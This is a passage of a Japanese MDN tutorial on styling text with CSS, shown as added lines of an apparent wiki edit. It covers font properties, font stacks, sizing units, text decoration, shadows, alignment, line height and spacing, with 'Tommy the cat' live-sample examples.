この記事では、これらのプロパティを個別に説明します。</p> + +<ul> + <li><strong>フォントスタイル</strong>: テキストに適用されるフォントに影響するプロパティで、適用するフォント、大きさ、太字、斜体などに影響します。</li> + <li><strong>テキストのレイアウトスタイル</strong>: テキストの間隔やその他のレイアウト機能に影響するプロパティで、例えば、行間や文字間のスペースや、コンテンツボックス内でのテキストの配置方法などを操作できます。</li> +</ul> + +<div class="note"> +<p><strong>注</strong>: 要素内のテキストはすべて単一の実体として影響を受けることに注意してください。 テキストの一部分を（{{htmlelement("span")}} や {{htmlelement("strong")}} など）適切な要素でラップしたり、{{cssxref("::first-letter")}}（要素のテキストの最初の文字を選択）、{{cssxref("::first-line")}}（要素のテキストの最初の行を選択）、{{cssxref("::selection")}}（現在カーソルで強調表示されているテキストを選択）のようなテキスト固有の疑似要素を使用しない限り、テキストの一部分を選択して装飾することはできません。</p> +</div> + +<h2 id="Fonts" name="Fonts">フォント</h2> + +<p>フォントを装飾するためのプロパティを見るためにまっすぐに進みましょう。 この例では、次のような同じ HTML サンプルにいくつかの異なる CSS プロパティを適用します。</p> + +<pre class="brush: html notranslate"><h1>Tommy the cat</h1> + +<p>I remember as if it were a meal ago...</p> + +<p>Said Tommy the Cat as he reeled back to clear whatever foreign matter + may have nestled its way into his mighty throat. Many a fat alley rat +had met its demise while staring point blank down the cavernous barrel of + this awesome prowling machine. Truly a wonder of nature this urban +predator — Tommy the cat had many a story to tell. But it was a rare +occasion such as this that he did.</p></pre> + +<p><a href="http://mdn.github.io/learning-area/css/styling-text/fundamentals/">完成した例</a>は Github にあります（<a href="https://github.com/mdn/learning-area/blob/master/css/styling-text/fundamentals/index.html">ソースコード</a>も参照してください）。</p> + +<h3 id="Color" name="Color">色</h3> + +<p>{{cssxref("color")}} プロパティは、選択された要素の前景のコンテンツの色を設定します（通常はテキストですが、{{cssxref("text-decoration")}} プロパティを使用してテキストに下線や上線を配置するなど、他のいくつかの要素を含めることもできます）。</p> + +<p><code>color</code> は次のように任意の <a href="/ja/Learn/CSS/Introduction_to_CSS/Values_and_units#Colors">CSS カラー単位</a>を受け入れることができます。</p> + +<pre class="brush: css notranslate">p { + color: red; +}</pre> + +<p>これにより、次のように段落は標準のブラウザーのデフォルトの黒ではなく赤になります。</p> + +<div class="hidden"> +<pre class="brush: html notranslate"><h1>Tommy the cat</h1> + +<p>I remember as if it were a meal ago...</p> + +<p>Said Tommy the Cat as he reeled back to clear whatever foreign matter + may have nestled its way into his mighty throat. Many a fat alley rat +had met its demise while staring point blank down the cavernous barrel of + this awesome prowling machine. Truly a wonder of nature this urban +predator — Tommy the cat had many a story to tell. But it was a rare +occasion such as this that he did.</p></pre> +</div> + +<p>{{ EmbedLiveSample('Color', '100%', 220) }}</p> + +<h3 id="Font_families" name="Font_families">フォントファミリー</h3> + +<p>テキストに別のフォントを設定するには、{{cssxref("font-family")}} プロパティを使用します — これにより、選択した要素に適用するブラウザーのフォント（またはフォントのリスト）を指定できます。 ウェブサイトにアクセスしているマシンで利用可能な場合にのみ、ブラウザーはフォントを適用します。 そうでない場合は、ブラウザーの{{anch("Default fonts", "デフォルトフォント")}}を使用するだけです。 簡単な例はこんな感じです。</p> + +<pre class="brush: css notranslate">p { + font-family: arial; +}</pre> + +<p>これにより、ページ上のすべての段落に、どのコンピュータでも見られる arial フォントが採用されます。</p> + +<h4 id="Web_safe_fonts" name="Web_safe_fonts">ウェブセーフフォント</h4> + +<p>フォントの入手可能性と言えば、すべてのシステムで一般的に利用でき、したがってそれほど心配することなく使用できるフォントの数は限られています。これらはいわゆる<strong>ウェブセーフフォント </strong>(web safe fonts) です。</p> + +<p>ほとんどの場合、ウェブ開発者は、テキストコンテンツの表示に使用されるフォントをより具体的に制御したいと考えています。 問題は、ウェブページを見るために使用されているコンピュータでどのフォントが利用可能かを知る方法を見つけることです。 あらゆる場合にこれを知る方法はありませんが、ウェブセーフフォントは最も使用されているオペレーティングシステム（Windows、Mac、最も一般的な Linux ディストリビューション、Android、および iOS）のほぼすべての実例で使用可能です。</p> + +<p>実際のウェブセーフフォントのリストは、オペレーティングシステムが進化するにつれて変わりますが、少なくとも現時点では次のフォントをウェブセーフと見なすことをお勧めします（それらの多くは90年代後半から2000年代初頭にかけての Microsoft の <a href="https://en.wikipedia.org/wiki/Core_fonts_for_the_Web">Core fonts for the Web</a> の先鞭のおかげで普及しました）。</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">名前</th> + <th scope="col" style="white-space: nowrap;">総称タイプ</th> + <th scope="col">注</th> + </tr> + </thead> + <tbody> + <tr> + <td>Arial</td> + <td>sans-serif</td> + <td><em>Arial</em> に好ましい代替として <em>Helvetica</em> を追加するのがベストプラクティスと考えられることがよくあります。 それらのフォントフェースはほぼ同じですが、<em>Arial</em> の方が広く入手可能であっても <em>Helvetica</em> はより良い形状をしていると考えられます。</td> + </tr> + <tr> + <td>Courier New</td> + <td>monospace</td> + <td>いくつかの OS は <em>Courier</em> と呼ばれる <em>Courier New</em> フォントの代替（おそらく古い）バージョンを持っています。 <em>Courier New</em> と一緒に両方を使用することを推奨します。</td> + </tr> + <tr> + <td style="white-space: nowrap;">Georgia</td> + <td>serif</td> + <td></td> + </tr> + <tr> + <td style="white-space: nowrap;">Times New Roman</td> + <td>serif</td> + <td>いくつかの OS は <em>Times</em> と呼ばれる <em>Times New Roman</em> フォントの代替（おそらく古い）バージョンを持っています。 <em>Times New Roman</em> と一緒に両方を使用することを推奨します。</td> + </tr> + <tr> + <td>Trebuchet MS</td> + <td>sans-serif</td> + <td>このフォントの使用には注意が必要です — モバイル OS では広く使用されていません。</td> + </tr> + <tr> + <td>Verdana</td> + <td>sans-serif</td> + <td></td> + </tr> + </tbody> +</table> + +<div class="note"> +<p><strong>注</strong>: さまざまなリソースの中で、<a href="http://www.cssfontstack.com/">cssfontstack.com</a> ウェブサイトには、Windows および macOS オペレーティングシステムで利用可能なウェブセーフフォントのリストがあり、使用しても安全と見なせるものについて判断を下すことができます。</p> +</div> + +<div class="note"> +<p><strong>注</strong>: ウェブページとともにカスタムフォントをダウンロードして、フォントの使用方法を自由にカスタマイズできる方法があります。 それは、<strong>ウェブフォント</strong>（web fonts）です。 これはもう少し複雑で、このモジュールの後の別の記事でこれを議論するでしょう。</p> +</div> + +<h4 id="Default_fonts" name="Default_fonts">デフォルトフォント</h4> + +<p>CSS はフォントの5つの総称名を定義しています: セリフ（<code>serif</code>）、サンセリフ（<code>sans-serif</code>）、等幅（<code>monospace</code>）、筆記体（<code>cursive</code>）、ファンタジー（<code>fantasy</code>）。 これらは非常に一般的なものであり、それらの総称名を使用するときに使用される正確なフォントは各ブラウザー次第であり、それらが実行されているオペレーティングシステムごとに異なります。 これは、ブラウザーが最低限適切なフォントを提供するように最善を尽くそうとする場合の<em>最悪のシナリオ</em>を表します。 <code>serif</code>、<code>sans-serif</code>、および <code>monospace</code> はかなり予測可能であり、妥当なものを提供するはずです。 その一方で、<code>cursive</code> や <code>fantasy</code> はそれほど予測できないので、慎重に使用してテストすることをお勧めします。</p> + +<p>5つの名前は次のように定義されています。</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">用語</th> + <th scope="col">定義</th> + <th scope="col">例</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>serif</code></td> + <td>セリフ（いくつかの書体のストロークの終わりに見られる隆起やその他の細部）を持つフォントです。</td> + <td><span style="font-family: serif;">My big red elephant</span></td> + </tr> + <tr> + <td><code>sans-serif</code></td> + <td>セリフがないフォントです。</td> + <td><span style="font-family: sans-serif;">My big red elephant</span></td> + </tr> + <tr> + <td><code>monospace</code></td> + <td>すべての文字が同じ幅を持つフォントで、通常はコードリストで使用されます。</td> + <td><span style="font-family: monospace;">My big red elephant</span></td> + </tr> + <tr> + <td><code>cursive</code></td> + <td>流れるような連続したストロークで、手書き文字を模倣することを目的としたフォントです。</td> + <td><span style="font-family: cursive;">My big red elephant</span></td> + </tr> + <tr> + <td><code>fantasy</code></td> + <td>装飾的なフォントです。</td> + <td><span style="font-family: fantasy;">My big red elephant</span></td> + </tr> + </tbody> +</table> + +<h4 id="Font_stacks" name="Font_stacks">フォントスタック</h4> + +<p>ウェブページで使用したいフォントの可用性を保証することはできないため（ウェブフォントでさえ何らかの理由で失敗する<em>可能性</em>もあります）、ブラウザーに複数のフォントから選択できるように<strong>フォントスタック</strong>（font stack）を指定できます。 これは単に、次のようにカンマで区切られた複数のフォント名からなる <code>font-family</code> の値です。</p> + +<pre class="brush: css notranslate">p { + font-family: "Trebuchet MS", Verdana, sans-serif; +}</pre> + +<p>そのような場合、ブラウザーはリストの先頭から始めて、そのフォントがマシンで利用可能かどうかを確認します。 そうであれば、そのフォントを選択した要素に適用します。 そうでない場合は、次のフォントに移動します。</p> + +<p>リストされているフォントがどれも利用できない場合、ブラウザーが少なくともほぼ適切なものを提供できるように、スタックの最後に適切な総称フォント名を指定することをお勧めします。 この点を強調するために、他のオプションが利用できない場合、段落にはブラウザーのデフォルトの serif フォントを使用します — これは通常は Times New Roman です — これは sans-serif フォントには不適切です！</p> + +<div class="note"> +<p><strong>注</strong>: <code>Trebuchet MS</code> のように、複数の単語を含むフォント名は <code>"Trebuchet MS"</code> のように引用符で囲む必要があります。</p> +</div> + +<h4 id="A_font-family_example" name="A_font-family_example">font-family の例</h4> + +<p>前の例に追加して、次のように段落に sans-serif フォントを付けます。</p> + +<pre class="brush: css notranslate">p { + color: red; + font-family: Helvetica, Arial, sans-serif; +}</pre> + +<p>これにより、次のような結果が得られます。</p> + +<div class="hidden"> +<pre class="brush: html notranslate"><h1>Tommy the cat</h1> + +<p>I remember as if it were a meal ago...</p> + +<p>Said Tommy the Cat as he reeled back to clear whatever foreign matter + may have nestled its way into his mighty throat. Many a fat alley rat +had met its demise while staring point blank down the cavernous barrel of + this awesome prowling machine. Truly a wonder of nature this urban +predator — Tommy the cat had many a story to tell. But it was a rare +occasion such as this that he did.</p></pre> +</div> + +<p>{{ EmbedLiveSample('A_font-family_example', '100%', 220) }}</p> + +<h3 id="Font_size" name="Font_size">フォントサイズ</h3> + +<p>前のモジュールの <a href="/ja/docs/Learn/CSS/Introduction_to_CSS/Values_and_units">CSS の値と単位</a>の記事で、<a href="/ja/Learn/CSS/Introduction_to_CSS/Values_and_units#Length_and_size">長さとサイズの単位</a>を確認しました。 フォントサイズ（{{cssxref("font-size")}} プロパティで設定）は、これらの単位のほとんど（および<a href="/ja/Learn/CSS/Introduction_to_CSS/Values_and_units#Percentages">パーセント</a>などの他の単位）で測定された値を取ることができますが、テキストのサイズを設定するために使用する最も一般的な単位は次のとおりです。</p> + +<ul> + <li><code>px</code> (pixels): テキストを表示したい高さのピクセル数。 これは絶対的な単位です — それはほとんどどんな状況でもページ上のフォントの同じ最終的な計算値になります。</li> + <li><code>em</code>: <code>1em</code> は、現在装飾している要素の親要素に設定されているフォントサイズ（より具体的には、親要素の内側に含まれる大文字の M の幅）に等しくなります。 フォントサイズの異なるネストされた要素が多数設定されている場合には厄介な作業になるかもしれませんが、以下に示すように、それは実行可能です。 なぜわざわざそうする？ 慣れると非常に自然になり、テキストだけでなく、<code>em</code> を使用してすべてのサイズを変更できます。 ウェブサイト全体を <code>em</code> を使用してサイズ設定することができ、これにより、メンテナンスが簡単になります。</li> + <li><code>rem</code>: これらは <code>em</code> とまったく同じように機能しますが、<code>1rem</code> が親要素ではなく文書のルート要素に設定されたフォントサイズ（つまり {{htmlelement("html")}}）に等しい点が異なります。 これにより、フォントサイズを簡単に計算することができますが、残念ながら Internet Explorer 8 以下では <code>rem</code> はサポートされていません。 プロジェクトで古いブラウザーをサポートする必要がある場合は、<code>em</code> や <code>px</code> を使用するか、<a href="https://github.com/chuckcarpenter/REM-unit-polyfill">REM-unit-polyfill</a> などの{{glossary("polyfill","ポリフィル")}}を使用することができます。</li> +</ul> + +<p>要素の <code>font-size</code> は、その要素の親要素から継承されます。 これはすべてドキュメント全体のルート要素 — {{htmlelement("html")}} — で始まり、<code>font-size</code> はブラウザー間で標準で <code>16px</code> に設定されています。 ルート要素内の段落（またはブラウザーによって設定された異なるサイズを持たない他の要素）は、最終サイズが <code>16px</code> になります。 他の要素はデフォルトサイズが異なる場合があります。 例えば、{{htmlelement("h1")}} 要素のサイズはデフォルトで <code>2em</code> に設定されているため、最終的なサイズは <code>32px</code> になります。</p> + +<p>入れ子になった要素のフォントサイズを変更し始めると、物事はより複雑になります。 例えば、ページに {{htmlelement("article")}} 要素があり、その <code>font-size</code> を <code>1.5em</code>（これは計算すると <code>24px</code> の最終的なサイズになります）に設定し、次に <code><article></code> 要素内の段落に <code>20px</code> で計算したフォントサイズを使用するようにしたい場合に、あなたは何 <code>em</code> の値を使用しますか？</p> + +<pre class="brush: html notranslate"><!-- ドキュメントのベースフォントサイズは 16px です --> +<article> <!-- ここのフォントサイズが 1.5em の場合 --> + <p>My paragraph</p> <!-- 20px のフォントサイズにするにはどう計算しますか？ --> +</article></pre> + +<p>その <code>em</code> 値を 20 / 24 、つまり <code>0.83333333em</code> に設定する必要があります。 数学は複雑になる可能性があるため、装飾方法には注意が必要です。 可能な限り <code>rem</code> を使用して、物事を単純にし、可能な限りコンテナ要素のフォントサイズを設定しないようにするのが最善です。</p> + +<h4 id="A_simple_sizing_example" name="A_simple_sizing_example">簡単なサイズ設定の例</h4> + +<p>テキストのサイズを変更するときは、通常、ドキュメントのベース <code>font-size</code> を <code>10px</code> に設定することをお勧めします。 そうすれば、数学の計算がはるかに簡単になります — その場合、必要な <code>(r)em</code> 値は、16 ではなく、10 で割ったピクセルフォントサイズです。 これで、ドキュメント内のさまざまな種類のテキストのサイズを簡単に変更できます。 スタイルシートの指定された領域にすべての <code>font-size</code> の規則セットをリストすることをお勧めします。 そうすれば、それらは簡単に見つけられます。</p> + +<p>新しい結果はこんな感じです。</p> + +<div class="hidden"> +<pre class="brush: html notranslate"><h1>Tommy the cat</h1> + +<p>I remember as if it were a meal ago...</p> + +<p>Said Tommy the Cat as he reeled back to clear whatever foreign matter + may have nestled its way into his mighty throat. Many a fat alley rat +had met its demise while staring point blank down the cavernous barrel of + this awesome prowling machine. Truly a wonder of nature this urban +predator — Tommy the cat had many a story to tell. But it was a rare +occasion such as this that he did.</p> +</pre> +</div> + +<pre class="brush: css notranslate">html { + font-size: 10px; +} + +h1 { + font-size: 2.6rem; +} + +p { + font-size: 1.4rem; + color: red; + font-family: Helvetica, Arial, sans-serif; +}</pre> + +<p>{{ EmbedLiveSample('A_simple_sizing_example', '100%', 220) }}</p> + +<h3 id="Font_style_font_weight_text_transform_and_text_decoration" name="Font_style_font_weight_text_transform_and_text_decoration">フォントスタイル、フォントの太さ、テキスト変換、テキスト飾り</h3> + +<p>CSS は、テキストの視覚的な太さや強調を変更するために次の4つの共通のプロパティを提供します。</p> + +<ul> + <li>{{cssxref("font-style")}}: イタリック体テキストのオンとオフを切り替えるために使用されます。 可能な値は次のとおりです（何らかの理由でイタリック装飾をオフにしたい場合を除いて、これを使用することはめったにありません）。 + <ul> + <li><code>normal</code>: テキストを通常のフォントに設定します（既存のイタリック体をオフにします）。</li> + <li><code>italic</code>: 利用できる場合は、<em>イタリック体版のフォント</em>を使用するようにテキストを設定します。 利用できない場合は、代わりに <code>oblique</code> でイタリック体をシミュレートします。</li> + <li><code>oblique</code>: <span style="font-style: oblique;">通常版を斜めにして</span>作成された、イタリック体フォントのシミュレート版を使用するようにテキストを設定します。</li> + </ul> + </li> + <li>{{cssxref("font-weight")}}: テキストの太さを設定します。 利用可能なフォントのバリエーションが多数ある場合（<em>-light</em>、<em>-normal</em>、<em>-bold</em>、<em>-extrabold</em>、<em>-black</em> など）、これには多くの値がありますが、現実的には <code>normal</code> と <code>bold</code> 以外のものを使用することはほとんどありません。 + <ul> + <li><code>normal</code>, <code>bold</code>: 標準および<strong style="font-weight: bold;">太字</strong>のフォントの太さ。</li> + <li><code>lighter</code>, <code>bolder</code>: 現在の要素の太さを、親要素の太さよりも1段階細くまたは太くします。</li> + <li><code>100</code>～<code>900</code>: 必要に応じて、上記のキーワードよりもきめ細かい制御を提供する太さの数値。</li> + </ul> + </li> + <li>{{cssxref("text-transform")}}: フォントを変換するように設定できます。 値は次のとおりです。 + <ul> + <li><code>none</code>: 変換を禁止します。</li> + <li><code>uppercase</code>: すべてのテキストを大文字（<span style="text-transform: uppercase;">all text to capitals</span>）に変換します。</li> + <li><code>lowercase</code>: すべてのテキストを小文字（<span style="text-transform: lowercase;">ALL TEXT TO LOWER CASE</span>）に変換します。</li> + <li><code>capitalize</code>: すべての単語を最初の文字を大文字にする（<span style="text-transform: capitalize;">have the first letter capitalized</span>）ように変換します。</li> + <li><code>full-width</code>: 例えば、ラテン文字を（中国語、日本語、韓国語など）アジア言語のグリフと一緒に揃えて、等幅フォントのように、固定幅の四角形の中にすべてのグリフを書く（<span style="text-transform: full-width;">written inside a fixed-width square</span>）ように変換します。</li> + </ul> + </li> + <li>{{cssxref("text-decoration")}}: フォントのテキスト飾りを設定/設定解除します（主にリンクのデフォルトの下線を解除するために使用します）。 使用可能な値は次のとおりです。</li> + <li> + <ul> + <li><code>none</code>: 既に存在するテキスト飾りをすべて解除します。</li> + <li><code>underline</code>: <u>テキストに下線を引きます</u>。</li> + <li><code>overline</code>: <span style="text-decoration: overline;">テキストに上線を付けます</span>。</li> + <li><code>line-through</code>: <s style="text-decoration: line-through;">テキストの上に取り消し線を引きます</s>。</li> + </ul> + 複数の飾りを同時に追加したい場合は、<span style="text-decoration: underline overline;"><code>text-decoration: underline overline</code></span> のように、{{cssxref("text-decoration")}} は一度に複数の値を受け入れることができます。 また、{{cssxref("text-decoration")}} は、{{cssxref("text-decoration-line")}}、{{cssxref("text-decoration-style")}}、および {{cssxref("text-decoration-color")}} の一括指定プロパティです。 例えば、<span style="text-decoration: line-through red wavy;"><code>text-decoration: line-through red wavy</code></span> のように、これらのプロパティ値の組み合わせを使用して、興味深い効果を生み出すことができます。</li> +</ul> + +<p>例にこれらのプロパティをいくつか追加してみましょう。</p> + +<p>新しい結果はこんな感じです。</p> + +<div class="hidden"> +<pre class="brush: html notranslate"><h1>Tommy the cat</h1> + +<p>I remember as if it were a meal ago...</p> + +<p>Said Tommy the Cat as he reeled back to clear whatever foreign matter + may have nestled its way into his mighty throat. Many a fat alley rat +had met its demise while staring point blank down the cavernous barrel of + this awesome prowling machine. Truly a wonder of nature this urban +predator — Tommy the cat had many a story to tell. But it was a rare +occasion such as this that he did.</p> +</pre> +</div> + +<pre class="brush: css notranslate">html { + font-size: 10px; +} + +h1 { + font-size: 2.6rem; + text-transform: capitalize; +} + +h1 + p { + font-weight: bold; +} + +p { + font-size: 1.4rem; + color: red; + font-family: Helvetica, Arial, sans-serif; +}</pre> + +<p>{{ EmbedLiveSample('Font_style_font_weight_text_transform_and_text_decoration', '100%', 220) }}</p> + +<h3 id="Text_drop_shadows" name="Text_drop_shadows">テキストのドロップシャドウ</h3> + +<p>{{cssxref("text-shadow")}} プロパティを使ってテキストにドロップシャドウを付けることができます。 次の例に示すように、これは最大4つの値を取ります。</p> + +<pre class="brush: css notranslate">text-shadow: 4px 4px 5px red;</pre> + +<p>4つのプロパティは次のとおりです。</p> + +<ol> + <li>元のテキストからの影の水平方向のオフセット — これは、ほとんどの CSS の<a href="/ja/Learn/CSS/Introduction_to_CSS/Values_and_units#Length_and_size">長さとサイズの単位</a>を取ることができますが、最も一般的には <code>px</code> を使用します。 この値を含める必要があります。</li> + <li>元のテキストからの影の垂直方向のオフセット — 基本的に水平方向のオフセットと同じようにふるまいますが、影を左右に移動するのではなく上下に移動する点が異なります。 この値を含める必要があります。</li> + <li>ぼかし半径 — 値が大きいほど、影はより広く分散されます。 この値が含まれていない場合、デフォルトは 0 になり、ぼかしは行われません。 これは、ほとんどの CSS の<a href="/ja/Learn/CSS/Introduction_to_CSS/Values_and_units#Length_and_size">長さとサイズの単位</a>を取ることができます。</li> + <li>影のベースカラー — 任意の <a href="/ja/Learn/CSS/Introduction_to_CSS/Values_and_units#Colors">CSS カラー単位</a>を取ります。 含まれていない場合、デフォルトは <code>black</code> です。</li> +</ol> + +<div class="note"> +<p>注: 正のオフセット値は影を右下に移動させますが、<code>-1px -1px</code> のように負のオフセット値を使用して影を左上に移動させることもできます。</p> +</div> + +<h4 id="Multiple_shadows" name="Multiple_shadows">複数の影</h4> + +<p>複数の影の値をコンマで区切って含めることで、次のように同じテキストに複数の影を付けることができます。</p> + +<pre class="brush: css notranslate"><code class="language-css"><span class="property token">text-shadow</span><span class="punctuation token">:</span> -<span class="number token">1</span>px -<span class="number token">1</span>px <span class="number token">1</span>px <span class="hexcode token">#aaa</span>, + <span class="number token">0</span>px <span class="number token">4</span>px <span class="number token">1</span>px <span class="function token">rgba</span><span class="punctuation token">(</span><span class="number token">0</span>,<span class="number token">0</span>,<span class="number token">0</span>,<span class="number token">0.5</span><span class="punctuation token">)</span>, + <span class="number token">4</span>px <span class="number token">4</span>px <span class="number token">5</span>px <span class="function token">rgba</span><span class="punctuation token">(</span><span class="number token">0</span>,<span class="number token">0</span>,<span class="number token">0</span>,<span class="number token">0.7</span><span class="punctuation token">)</span>, + <span class="number token">0</span>px <span class="number token">0</span>px <span class="number token">7</span>px <span class="function token">rgba</span><span class="punctuation token">(</span><span class="number token">0</span>,<span class="number token">0</span>,<span class="number token">0</span>,<span class="number token">0.4</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<p>これを Tommy the cat の例の {{htmlelement("h1")}} 要素に適用すると、結果は次のようになります。</p> + +<div class="hidden"> +<pre class="brush: html notranslate"><h1>Tommy the cat</h1> + +<p>I remember as if it were a meal ago...</p> + +<p>Said Tommy the Cat as he reeled back to clear whatever foreign matter + may have nestled its way into his mighty throat. Many a fat alley rat +had met its demise while staring point blank down the cavernous barrel of + this awesome prowling machine. Truly a wonder of nature this urban +predator — Tommy the cat had many a story to tell. But it was a rare +occasion such as this that he did.</p> +</pre> + +<pre class="brush: css notranslate">html { + font-size: 10px; +} + +h1 { + font-size: 26px; + text-transform: capitalize; + text-shadow: -1px -1px 1px #aaa, + 0px 2px 1px rgba(0,0,0,0.5), + 2px 2px 2px rgba(0,0,0,0.7), + 0px 0px 3px rgba(0,0,0,0.4); +} + +h1 + p { + font-weight: bold; +} + +p { + font-size: 14px; + color: red; + font-family: Helvetica, Arial, sans-serif; +}</pre> +</div> + +<p>{{ EmbedLiveSample('Multiple_shadows', '100%', 220) }}</p> + +<div class="note"> +<p><strong>注</strong>: Sitepoint の記事 <a href="http://www.sitepoint.com/moonlighting-css-text-shadow/">Moonlighting with CSS text-shadow</a> で、<code>text-shadow</code> の使い方のより興味深い例を見ることができます。</p> +</div> + +<h2 id="Text_layout" name="Text_layout">テキストのレイアウト</h2> + +<p>基本的なフォントのプロパティ以外の方法で、テキストのレイアウトに影響を与えるために使用できるプロパティを見てみましょう。</p> + +<h3 id="Text_alignment" name="Text_alignment">テキストの配置</h3> + +<p>{{cssxref("text-align")}} プロパティは、テキストを含むコンテンツボックス内でのテキストの配置方法を制御するために使用されます。 利用可能な値は次の通りで、通常のワードプロセッサアプリケーションとほとんど同じように機能します。</p> + +<ul> + <li><code>left</code>: テキストを左揃えにします。</li> + <li><code>right</code>: テキストを右揃えにします。</li> + <li><code>center</code>: テキストを中央揃えにします。</li> + <li><code>justify</code>: テキストを両端揃えにします。 すべてのテキストのラインが同じ幅になるように、単語の間隔を変えてテキストを広げます。 これは慎重に使用する必要があります — 特に、長い単語が多数含まれている段落に適用すると、ひどく見えます。 もしこれを使うつもりなら、{{cssxref("hyphens")}} のような他の何かを使用して、複数ラインにまたがる長い単語を分割することも考えてください。</li> +</ul> + +<p>例の {{htmlelement("h1")}} に、<code>text-align: center;</code> を適用した場合、次のようになるでしょう。</p> + +<div class="hidden"> +<pre class="brush: html notranslate"><h1>Tommy the cat</h1> + +<p>I remember as if it were a meal ago...</p> + +<p>Said Tommy the Cat as he reeled back to clear whatever foreign matter + may have nestled its way into his mighty throat. Many a fat alley rat +had met its demise while staring point blank down the cavernous barrel of + this awesome prowling machine. Truly a wonder of nature this urban +predator — Tommy the cat had many a story to tell. But it was a rare +occasion such as this that he did.</p> +</pre> + +<pre class="brush: css notranslate">html { + font-size: 10px; +} + +h1 { + font-size: 2.6rem; + text-transform: capitalize; + text-shadow: -1px -1px 1px #aaa, + 0px 2px 1px rgba(0,0,0,0.5), + 2px 2px 2px rgba(0,0,0,0.7), + 0px 0px 3px rgba(0,0,0,0.4); + text-align: center; +} + +h1 + p { + font-weight: bold; +} + +p { + font-size: 1.4rem; + color: red; + font-family: Helvetica, Arial, sans-serif; +}</pre> +</div> + +<p>{{ EmbedLiveSample('Text_alignment', '100%', 220) }}</p> + +<h3 id="Line_height" name="Line_height">ラインの高さ</h3> + +<p>{{cssxref("line-height")}} プロパティはテキストの各ラインの高さを設定します — これはほとんどの<a href="/ja/Learn/CSS/Introduction_to_CSS/Values_and_units#Length_and_size">長さとサイズの単位</a>をとることができますが、乗数として機能し、一般的に最良の選択肢と考えられる単位なしの値をとることもできます — <code>line-height</code> を得るために {{cssxref("font-size")}} が乗算されます。 本文はラインが離れていると、一般的に見栄えがよく、読みやすくなります。 推奨されるラインの高さは約 1.5 〜 2（ダブルスペース）です。 したがって、テキストのラインをフォントの高さの 1.5 倍に設定するには、次のようにします。</p> + +<pre class="brush: css notranslate">line-height: 1.5;</pre> + +<p>この例の {{htmlelement("p")}} 要素にこれを適用すると、次のようになります。</p> + +<div class="hidden"> +<pre class="brush: html notranslate"><h1>Tommy the cat</h1> + +<p>I remember as if it were a meal ago...</p> + +<p>Said Tommy the Cat as he reeled back to clear whatever foreign matter + may have nestled its way into his mighty throat. Many a fat alley rat +had met its demise while staring point blank down the cavernous barrel of + this awesome prowling machine. Truly a wonder of nature this urban +predator — Tommy the cat had many a story to tell. But it was a rare +occasion such as this that he did.</p> +</pre> + +<pre class="brush: css notranslate">html { + font-size: 10px; +} + +h1 { + font-size: 2.6rem; + text-transform: capitalize; + text-shadow: -1px -1px 1px #aaa, + 0px 2px 1px rgba(0,0,0,0.5), + 2px 2px 2px rgba(0,0,0,0.7), + 0px 0px 3px rgba(0,0,0,0.4); + text-align: center; +} + +h1 + p { + font-weight: bold; +} + +p { + font-size: 1.4rem; + color: red; + font-family: Helvetica, Arial, sans-serif; + line-height: 1.5; +}</pre> +</div> + +<p>{{ EmbedLiveSample('Line_height', '100%', 250) }}</p> + +<h3 id="Letter_and_word_spacing" name="Letter_and_word_spacing">文字と単語の間隔設定</h3> + +<p>{{cssxref("letter-spacing")}} プロパティと {{cssxref("word-spacing")}} プロパティを使用すると、テキスト内の文字と単語の間隔を設定できます。 これらはあまり使用しませんが、ある外観を得るためや、特に濃いフォントの読みやすさを向上させるために使用することがあります。 それらはほとんどの<a href="/ja/Learn/CSS/Introduction_to_CSS/Values_and_units#Length_and_size">長さとサイズの単位</a>を取ることができます。</p> + +<p>例として、この例の {{htmlelement("p")}} 要素の最初のラインに次を適用したとします。</p> + +<pre class="brush: css notranslate">p::first-line { + letter-spacing: 2px; + word-spacing: 4px; +}</pre> + +<p>次のようになります。</p> + +<div class="hidden"> +<pre class="brush: html notranslate"><h1>Tommy the cat</h1> + +<p>I remember as if it were a meal ago...</p> + +<p>Said Tommy the Cat as he reeled back to clear whatever foreign matter + may have nestled its way into his mighty throat. Many a fat alley rat +had met its demise while staring point blank down the cavernous barrel of + this awesome prowling machine. Truly a wonder of nature this urban +predator — Tommy the cat had many a story to tell. But it was a rare +occasion such as this that he did.</p> +</pre> + +<pre class="brush: css notranslate">html { + font-size: 10px; +} + +h1 { + font-size: 2.6rem; + text-transform: capitalize; + text-shadow: -1px -1px 1px #aaa, + 0px 2px 1px rgba(0,0,0,0.5), + 2px 2px 2px rgba(0,0,0,0.7), + 0px 0px 3px rgba(0,0,0,0.4); + text-align: center; +} + +h1 + p { + font-weight: bold; +} + +p::first-line { + letter-spacing: 2px; + word-spacing: 4px; +} + +p { + font-size: 1.4rem; + color: red; + font-family: Helvetica, Arial, sans-serif; + line-height: 1.5; +}</pre> +</div> + +<p>{{ EmbedLiveSample('Letter_and_word_spacing', '100%', 250) }}</p> + +<h3 id="Other_properties_worth_looking_at" name="Other_properties_worth_looking_at">その他の検討に値するプロパティ</h3> + +<p>上記のプロパティは、ウェブページ上でテキストを装飾する方法のアイデアを与えますが、使うことができるもっと多くのプロパティがあります。 ここでは最も重要なものだけを取り上げたいと思います。 上記の使い方に慣れてきたら、次のことも調べてください。</p> + +<p>フォントスタイル</p> + +<ul> + <li>{{cssxref("font-variant")}}: スモールキャップと通常の代替フォントを切り替えます。</li> + <li>{{cssxref("font-kerning")}}: フォントのカーニングオプションのオンとオフを切り替えます。</li> + <li>{{cssxref("font-feature-settings")}}: さまざまな <a href="https://en.wikipedia.org/wiki/OpenType">OpenType</a> フォント機能のオンとオフを切り替えます。</li> + <li>{{cssxref("font-variant-alternates")}}: 与えられたフォントフェースのための代替グリフの使用を制御します。</li> + <li>{{cssxref("font-variant-caps")}}: 代替大文字グリフの使用を制御します。</li> + <li>{{cssxref("font-variant-east-asian")}}: 日本語や中国語など、東アジアの文字の代替グリフの使用方法を制御します。</li> + <li>{{cssxref("font-variant-ligatures")}}:テキストで使用される合字と文脈形式を制御します。</li> + <li>{{cssxref("font-variant-numeric")}}: 数字、分数、および序数記号の代替グリフの使用方法を制御します。</li> + <li>{{cssxref("font-variant-position")}}: 上付き文字または下付き文字として配置された、小さいサイズの代替グリフの使用方法を制御します。</li> + <li>{{cssxref("font-size-adjust")}}: 実際のフォントサイズとは無関係にフォントの表示サイズを調整します。</li> + <li>{{cssxref("font-stretch")}}: 